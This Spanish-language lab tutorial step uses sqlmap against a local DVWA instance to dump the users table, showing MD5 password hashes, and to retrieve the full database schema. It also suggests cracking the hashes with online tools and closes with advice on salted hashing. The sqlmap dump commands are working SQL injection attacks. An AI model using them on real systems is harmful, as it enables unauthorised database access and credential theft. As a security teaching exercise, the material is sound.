Analizar los datos recuperados
En este paso, examinaremos la información sensible de la base de datos que sqlmap extrajo exitosamente a través de la inyección SQL. Esto demuestra el impacto real de las vulnerabilidades de inyección SQL al mostrar exactamente qué datos pueden acceder los atacantes.
- Primero, recuperemos todos los datos de la tabla 'users' en la base de datos DVWA. Este comando se basa en lo que hicimos previamente, pero ahora estamos apuntando específicamente a la tabla de usuarios para ver la información de las credenciales (reemplaza con tu cookie de sesión):
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch
El -D dvwa especifica la base de datos, -T users apunta a la tabla de usuarios y --dump recupera todo su contenido.
- La salida revela información sensible de usuarios almacenada en la base de datos:
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL | 0 |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL | 0 |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg | NULL | 0 |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL | 0 |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL | 0 |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
Observa que la columna de contraseñas contiene hashes MD5 en lugar de contraseñas en texto plano. Si bien esto es mejor que almacenar contraseñas sin procesar, el algoritmo MD5 se considera criptográficamente inseguro y vulnerable a ataques de tablas arcoíris.
-
Puedes intentar descifrar estos hashes utilizando herramientas en línea como CrackStation copiando y pegando los valores de los hashes. Esto muestra cómo los algoritmos de hashing débiles pueden ser revertidos para revelar las contraseñas originales.
-
Para entender la estructura completa de la base de datos, podemos recuperar su esquema:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch
La bandera --schema revela todas las tablas y sus estructuras de columnas, brindando a los atacantes un mapa de la base de datos completa. Esta es información extremadamente valiosa para una explotación adicional.
Puntos clave para principiantes:
- El parámetro
--dump extrae todos los datos de una tabla especificada
- Los hashes MD5 a menudo se pueden descifrar utilizando tablas arcoíris precomputadas
- La información del esquema de la base de datos ayuda a los atacantes a entender la estructura de los datos
- Este ejercicio demuestra cómo una sola vulnerabilidad de inyección SQL puede llevar a la compromiso total de la base de datos
- Siempre utiliza algoritmos de hashing fuertes y salados como bcrypt para el almacenamiento de contraseñas